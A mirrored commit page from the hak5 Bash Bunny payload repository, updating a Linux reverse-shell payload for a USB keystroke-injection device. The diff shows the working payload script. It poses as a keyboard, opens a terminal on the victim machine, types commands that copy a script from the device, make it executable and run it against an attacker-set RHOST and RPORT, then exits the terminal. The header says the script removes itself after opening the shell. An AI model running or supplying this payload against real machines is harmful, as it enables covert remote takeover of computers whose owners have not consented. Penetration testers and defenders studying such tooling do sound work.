mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Updated LinuxReverseShell for BashBunny Fw v1.1 (#164)
This commit is contained in:
parent
85b1bc7aca
commit
7f1172849b
@ -1,7 +1,7 @@
|
||||
# Linux Reverse Shell for Bash Bunny
|
||||
|
||||
Author: tuzzmaniandevil
|
||||
Version: Version 1.0
|
||||
Version: Version 1.1
|
||||
|
||||
## Description
|
||||
|
||||
@ -26,6 +26,6 @@ The RHOST pc must be accessible from the target machine
|
||||
|
||||
| LED | Status |
|
||||
| ---------------- | ------------------------------------- |
|
||||
| Red | Setup |
|
||||
| Blue (blinking) | Executing Ducky and starting script |
|
||||
| Green | Finished |
|
||||
| SETUP | Setting Attack mode |
|
||||
| ATTACK | Executing Ducky and starting script |
|
||||
| FINISH | Finished executing payload |
|
||||
|
||||
@ -2,28 +2,25 @@
|
||||
#
|
||||
# Title: Linux Reverse Shell
|
||||
# Author: tuzzmaniandevil
|
||||
# Version: 1.0
|
||||
# Version: 1.1
|
||||
#
|
||||
# Runs a script in the background that creates a reverse shell connection to the configured address and then removes itself.
|
||||
#
|
||||
# Red ...............Setup
|
||||
# Blue Blinking......Executing
|
||||
# Green..............Finished
|
||||
# Magenta..................Setup
|
||||
# Yellow single blink......Executing
|
||||
# Green....................Finished
|
||||
|
||||
# Config options
|
||||
RHOST=127.0.0.1
|
||||
RPORT=4444
|
||||
|
||||
# Start Setup
|
||||
LED R
|
||||
LED SETUP
|
||||
|
||||
# Set Attack Mode
|
||||
ATTACKMODE HID STORAGE
|
||||
|
||||
LANGUAGE='us'
|
||||
|
||||
# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
|
||||
source bunny_helpers.sh
|
||||
DUCKY_LANG us
|
||||
|
||||
# Wait for Storage to mount
|
||||
sleep 5
|
||||
@ -33,7 +30,7 @@ Q CTRL-ALT t
|
||||
|
||||
# Wait for terminal to open
|
||||
sleep 1
|
||||
LED B 250
|
||||
LED STAGE1
|
||||
|
||||
# Copy bash script
|
||||
Q STRING "cp \$(readlink -f /dev/disk/by-label/BashBunny | while read dev;do mount | grep \"\$dev\b\" | awk '{print \$3}';done)/payloads/"
|
||||
@ -42,8 +39,8 @@ Q STRING "/a.sh ~/a.sh && chmod +x ~/a.sh && ~/a.sh $RHOST $RPORT"
|
||||
Q ENTER
|
||||
|
||||
# Quit the terminal
|
||||
LED R G 250
|
||||
LED CLEANUP
|
||||
Q STRING exit
|
||||
Q ENTER
|
||||
|
||||
LED G
|
||||
LED FINISH
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user